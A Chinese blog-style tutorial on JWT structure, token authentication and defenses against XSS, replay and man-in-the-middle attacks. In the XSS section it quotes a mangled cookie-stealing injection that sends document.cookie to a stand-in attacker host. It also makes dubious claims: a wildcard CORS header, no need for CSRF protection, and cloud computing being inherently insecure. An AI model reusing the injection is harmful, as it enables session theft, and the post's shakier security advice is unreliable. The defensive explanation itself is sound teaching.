JWT的优点和实现Token认证的安全问题

一、什么是JWT

JWT——Json web token 
是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准,可实现无状态、分布式的Web应用授权。

二、我们为什么需要JWT?

首先,当前后端分离时我们会因为同源策略而无法设置cookie和sessionid。当然了我们有很多方式去解决这个问题,比如反向代理和jsonp等。但这仍然不如直接使用jwt来的简便。其次就是要说到jwt与传统的身份认证相比有什么优势了。 回答这个问题需要来看看基于token的认证和传统的session认证的区别

1、传统的session认证

我们知道,http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。

但是这种基于session的认证使应用本身很难得到扩展,随着不同客户端用户的增加,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来

2、基于token的鉴权机制

基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。

流程上是这样的:

1、用户使用用户名密码来请求服务器 
2、服务器进行验证用户的信息 服务器通过验证发送给用户一个token 
3、客户端存储token,并在每次请求时附送上这个token值 服务端验证token值,并返回数据 
4、这个token必须要在每次请求时传递给服务端,它应该保存在请求头里, 
另外,服务端要支持CORS(跨来源资源共享)策略,一般我们在服务端这么做就可以了Access-Control-Allow-Origin:*。

3、基于token的jwt有以下优点:

Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输. 
无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息. 
更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可. 
去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可. 
更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。 
CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。 
性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多. 
不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理. 
基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

三、JWT的构成:

jwt由三部分构成:头部(header)、载荷(payload, )、签证(signature).

头部:jwt的头部承载两部分信息:

声明类型,这里是jwt 
声明加密的算法 通常直接使用 HMAC SHA256 
完整的头部就像下面这样的JSON:

{

'typ': 'JWT',

'alg': 'HS256'

}

然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

载荷:就是存放有效信息的地方。,这些有效信息包含三个部分

标准中注册的声明 
公共的声明 
私有的声明 
标准中注册的声明 (建议但不强制使用) :

iss: jwt签发者

sub: jwt所面向的用户

aud: 接收jwt的一方

exp: jwt的过期时间,这个过期时间必须要大于签发时间

nbf: 定义在什么时间之前,该jwt都是不可用的.

iat: jwt的签发时间

jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 : 
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 : 
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

定义一个payload:

{

"sub": "1234567890",

"name": "John Doe",

"admin": true

}

然后将其进行base64加密,得到Jwt的第二部分。

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9

签证:这个签证信息由三部分header (base64后的) 
payload (base64后的) 
secret分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

// javascript

var encodedString = base64UrlEncode(header)
+ '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString,
'secret'); // TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ

将这三部分用.连接成一个完整的字符串,构成了最终的jwt:

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’

+document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

//设置cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

  

在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:

1、时间戳 +共享秘钥

这种方案,客户端和服务端都需要知道:

  • User ID
  • 共享秘钥

客户端

auth_header = JWT.encode({

  user_id: 123,

  iat: Time.now.to_i,      # 指定token发布时间

  exp: Time.now.to_i + 2   # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;

}, "<my shared secret>")

RestClient.get("http://api.example.com/", authorization: auth_header)

  

服务端

class ApiController < ActionController::Base

  attr_reader :current_user

  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token

    # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查

    # the signature. Note JWT tokens are *not* encrypted, but signed.

    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 检查该用户是否存在于数据库

    @current_user = User.find(payload['user_id'])

    # Step 3: 检查Token签名是否正确.

    JWT.decode(request.authorization, current_user.api_secret)

    # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.

    now = Time.now.to_i

    if payload['iat'] > now || payload['exp'] < now

      # 如果过期则返回401

    end

  rescue JWT::DecodeError

    # 返回 401

  end

end
 

  

2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)

客户端

auth_header = JWT.encode({

  user_id: 123,

  jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次,防止replace attack

  iat: Time.now.to_i,       # 指定token发布时间.

  exp: Time.now.to_i + 2    # 指定token过期时间为2秒后

}, "<my shared secret>")

RestClient.get("http://api.example.com/", authorization: auth_header)

  

服务端

def set_current_user_from_jwt_token

  # 前面的步骤参考上面

  payload = JWT.decode(request.authorization, nil, false)

  @current_user = User.find(payload['user_id'])

  JWT.decode(request.authorization, current_user.api_secret)

  now = Time.now.to_i

  if payload['iat'] > now || payload['exp'] < now

    # 返回401

  end

  # 下面将检查确保这个JWT之前没有被使用过

  # 使用Redis的原子操作

  # The redis 的键: <user id>:<one-time use token>

  key = "#{payload['user_id']}:#{payload['jti']}"

  # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .

  if redis.getset(key, "1")

    # 返回401

    #

  end
    # 进行键值过期检查  redis.expireat(key, payload['exp'] + 2)  end

  

  

如何防范MITM Man-In-The-MiddleAttacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

JWT的优点和实现Token认证的安全问题的更多相关文章

  1. 程序员过关斩将--更加优雅的Token认证方式JWT

    菜菜,上次你讲的cookie和session认证方式,我这次面试果然遇到了 结果怎么样? 结果面试官问我还有没有更好的方式? 看来你又挂了 别说了,伤心呀.到底还有没有更好的方式呢? 你猜? 基于To ...

  2. JWT—JSON Web Token - 理解JWT网络间应用用户安全认证交互设计

    原文地址:http://blog.leapoahead.com/2015/09/06/understanding-jwt/ 官网地址:https://jwt.io/ JSON Web Token(JW ...

  3. token 与 基于JWT的Token认证

    支持跨域访问,无状态认证 token特点 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输 无状态(也称:服务端可扩展行): ...

  4. iOS 开发之基于JWT的Token认证机制及解析

    在移动端和服务端通信中,一般有两种认证方式:token 和 session. 1.session/cookie 认证机制: 在服务端创建一个Session对象,同时在客户端的浏览器端创建一个Cooki ...

  5. 基于JWT的Token认证机制及安全问题

    [干货分享]基于JWT的Token认证机制及安全问题 https://bbs.huaweicloud.com/blogs/06607ea7b53211e7b8317ca23e93a891

  6. 使用jwt进行token认证

    简单说明:最近在搞权限这一块的东西,需要用到jwt进行token认证,才有了如下的demo演示   具体细节可以看gitbug,噗,不是bug是hub  github地址:https://github ...

  7. asp.net core 3.1 自定义中间件实现jwt token认证

    asp.net core 3.1 自定义中间件实现jwt token认证 话不多讲,也不知道咋讲!直接上代码 认证信息承载对象[user] /// <summary> /// 认证用户信息 ...

  8. token认证、JWT

    登录的token操作 #app.models.py :表结构 from django.db import models class User(models.Model): user = models. ...

  9. Aspnet Mvc 前后端分离项目手记(二)关于token认证

    在前后端分离的项目中,首先我们要解决的问题就是身份认证 以往的时候,我们使用cookie+session,或者只用cookie来保持会话. 一,先来复习一下cookie和session 首先我们来复习 ...

随机推荐

  1. 检测值是否存在(??)(Freemarker的null值处理)

    使用形式: unsafe_expr?? 或 (unsafe_expr)?? 这个操作符告诉我们一个值是否存在.基于这种情况, 结果是 true 或 false. 访问非顶层变量的使用规则和默认值操作符 ...

  2. 使用navicat连接只开放内网ip连接的数据库

    无法通过Navicat来连接MySQL,比较常见的两种问题? 服务器上自己安装的MySQL数据库,且未开通外网登录账号 直接购买服务商的MySQL数据库不创建公网访问,只有内网访问   背景: 公司数 ...

  3. fiddler 进行Android/IOS代理配置抓包

    1.准备:Android+IOS设备 下载:fiddler抓包工具,不是最新版的链接:   链接:https://pan.baidu.com/s/1BaBfu2H4xgpsh1wmkfC8aQ     ...

  4. 记录自己的一次pjax性能优化

    什么是pjax? pjax = ajax + pushState 通过ajax让页面进行局部刷新,然后通过pushstate让url发生改变,再让pushState,让页面产生一个回退的记录,从而让页 ...

  5. vue_04day 路由初始

    目录 vue_04 项目初始: vue 文件构造: vue项目目录结构: 项目入口(main.js): vue项目启动生命周期: 根组件(vue.js): router.js: 创建的页面: 全局样式 ...

  6. 一文掌握 Lambda 表达式

    本文将介绍 Java 8 新增的 Lambda 表达式,包括 Lambda 表达式的常见用法以及方法引用的用法,并对 Lambda 表达式的原理进行分析,最后对 Lambda 表达式的优缺点进行一个总 ...

  7. Redis入门(一)-Redis简介

    最近几年,Rddis非常的火,受到广大中大型公司,特别是互联网公司的青睐.而作为后端开发,如果你不知道Redis或不会用,没用过,你都不好意思出去找工作.可想而知Redis对于IT行业意义多么重大.对 ...

  8. go语言之指针

    package main import "fmt" //指针 //go语言的指针是非常容易学习的,比c中容易很多,他可以更简单的执行一些任务 //与变量类型,使用前需要定义 fun ...

  9. IdentityServer4 常见问题 - 用户拒绝授权后报错

    1.问题说明 在 IdentityServer4 Web 授权中,一般会有一个显示客户端需要获取用户的那些信息的页面,询问用户是否同意: 在这个页面如果我们点击"No, Do Not All ...

  10. (转)Python- sklearn之最小二乘法

    最小二乘法:https://baike.baidu.com/item/%E6%9C%80%E5%B0%8F%E4%BA%8C%E4%B9%98%E6%B3%95/2522346?fr=aladdin ...